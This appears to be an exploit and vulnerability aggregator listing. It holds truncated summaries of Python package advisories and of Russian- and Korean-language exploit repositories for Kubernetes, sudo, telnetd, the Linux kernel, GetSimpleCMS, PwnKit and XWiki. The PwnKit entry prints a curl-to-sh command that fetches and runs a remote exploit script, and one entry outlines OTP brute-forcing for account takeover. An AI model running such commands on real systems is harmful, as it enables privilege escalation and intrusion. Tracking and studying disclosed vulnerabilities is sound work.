PYSEC-2026-3903 PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code

Summary PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset. This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an...

PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code

SummaryPraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an...

praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets

Summarypraisonaiagents.tools.webcrawltools.webcrawl validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses httpx.Clientfollowredirects=True and does not revalidate redirect targets.An attacker-controlled public URL can pass...

PYSEC-2026-3900 praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets

Summary praisonaiagents.tools.webcrawltools.webcrawl validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses httpx.Clientfollowredirects=True and does not revalidate redirect targets. An attacker-controlled public URL can pas...

Copier has a trust-prefix bypass via path traversal that runs tasks unprompted

Copier: trust-prefix bypass via path traversal runs tasks unprompted SummaryIn copier = 9.5.0,...

PYSEC-2026-3818 Copier has a trust-prefix bypass via path traversal that runs tasks unprompted

Copier: trust-prefix bypass via path traversal runs tasks unprompted Summary In copier = 9.5.0, = 9.15.1, the trust setting's prefix match copier/settings.py compares the template URL against a trusted prefix with a raw str.startswith and no path normalization, while the URL is normalized when th...

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

Command injection via long-option prefix abbreviation bypassing checkunsafeoptions incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4Component: gitpython-developers/GitPython PyPI: GitPythonAffected: all versions carrying the 3.1.47 blocklist fix, through current main verified at commit...

GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

SummaryRepo.clonefrom passes the caller-supplied remote URL through Git.polishurl, which on every non-Cygwin platform calls os.path.expandvars on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clonefrom in "import repository from UR...

PYSEC-2026-3842 GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

Summary Repo.clonefrom passes the caller-supplied remote URL through Git.polishurl, which on every non-Cygwin platform calls os.path.expandvars on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clonefrom in "import repository from...

PYSEC-2026-3836 GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

Command injection via long-option prefix abbreviation bypassing checkunsafeoptions incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 Component: gitpython-developers/GitPython PyPI: GitPython Affected: all versions carrying the 3.1.47 blocklist fix, through current main verified at commit...

Cluster-Chaos-Exploiting-CVE-2025-59359-for-Kubernetes-Takeover

Кластерный хаос: эксплуатация CVE-2025-59359 для захвата Kubernetes Практическое криминалистическое руководство по CVE-2025-59359 — критической уязвимости внедрения команд ОС в Chaos-Mesh. Узнайте, как злоумышленники захватывают кластеры Kubernetes через мутации GraphQL, а также как обнаруживать,...

CVE-2025-10658

Exploit: SupportCandy — Перебор OTP гостя → Захват аккаунта 1 Запуск потока входа по OTP браузер Откройте: root@kitploit: /support/ Выберите вход для гостя / OTP Введите целевой email например, [email protected] Отправьте 2 Извлечение необходимых значений из формы OTP В DevTools → Network →...

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP7 RT kernel was updated to fix various security issues: The following security issues were fixed: CVE-2024-57841: net: fix memory leak in tcpconnrequest bsc1235944. CVE-2025-68214: timers: Fix NULL function pointer race in timershutdownsync bsc1255225. CVE-2025-7107...

Plex_Vuln_PoCs

Plex Media Server Patch-Diff Vulnerability PoCs This reposito...

CVE-2026-24061-lab

CVE-2026-24061 — Лаборатория воспроизведения ⚠️ Только для образовательных целей. Изолированная лабораторная среда. Français ci-dessous Краткое описание Критический обход аутентификации CVSS 9.8 в GNU InetUtils telnetd ≤ 2.7. Внедряя -f root в качестве переменной USER через опцию Telnet NEWENVIRON...

CVE-2025-32462-

CVE-2025-32462 – Обход проверки имени хоста sudo для повышения привилегий Содержание 1. Обзор 2. Детали уязвимости 3. Воздействие 4. Лабораторная среда 5. Проверка уязвимой версии 6. Конфигурация пользователя и sudoers 7. Пошаговая эксплуатация 8. Итоги Proof of Concept 9. Почему Ubuntu не уязвим...

uaf-exploit-cve-2026-23415

CVE-2026-23415 PoC CVE-2026-23415 에 대한 개념 증명, 리눅스 커널 futex 서브시스템의 use-after-free 취약점입니다. 취약점 정보 futexkeytonodeopt와 vmareplacepolicy 사이에 경쟁 조건이 존재합니다. futex 코드가 가상 메모리 영역의 NUMA 메모리 정책을 읽는 동안, 다른 스레드가 mbind를 통해 해당 정책을 교체하고 해제할 수 있습니다. 그러면 커널이 해제된 정책 포인터를 역참조하여 use-after-free 읽기가 발생합니다. 사용법 개념 증명 실행...

CVE-2019-11231-PoC

GetSimpleCMS CVE-2019-11231 RCE 익스플로잇 GetSimpleCMS ≤ 3.3.15용 인증 없는 원격 코드 실행 익스플로잇 취약점 GetSimpleCMS는 민감한 파일을 공개적으로 노출합니다 /data/other/authorization.xml, /data/users/. 이를 통해 공격자는 다음을 수행할 수 있습니다: 1. API 키와 사용자 이름 유출 2. 인증 쿠키 위조 3. CSRF 토큰 획득 4. 임의의 PHP 코드 업로드 및 실행 CVSS 점수: 9.8 치명적 사용법 root@kitploit:...

PwnKit

PwnKit CVE-2021-4034 - Pkexec 로컬 권한 상승 취약점에 대한 자체 포함 익스플로잇 사용법 Ubuntu, Debian, Fedora 및 CentOS 기반의 취약한 Linux 배포판에서 기본적으로 바로 작동합니다. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 수동 실행 root@kitploit: curl -fsSL...

xwiki-cve-2025-24893-exploit

XWiki CVE-2025-24893 익스플로잇 CVE-2025-24893에 취약한 XWiki 버전을 위한 인증 없는 원격 코드 실행 익스플로잇입니다. 취약점 개요 15.10.9 이전의 XWiki 버전은 SolrSearch RSS 피드 핸들러에서 Groovy 스크립트 삽입을 통해 인증 없는 RCE에 취약합니다. 이 취약점은 XWiki가 text 매개변수의 사용자 입력을 적절히 살균하지 않아 공격자가 RSS 컨텍스트를 벗어나 임의의 Groovy 코드를 주입할 수 있기 때문에 존재합니다. CVE ID: CVE-2025-24893...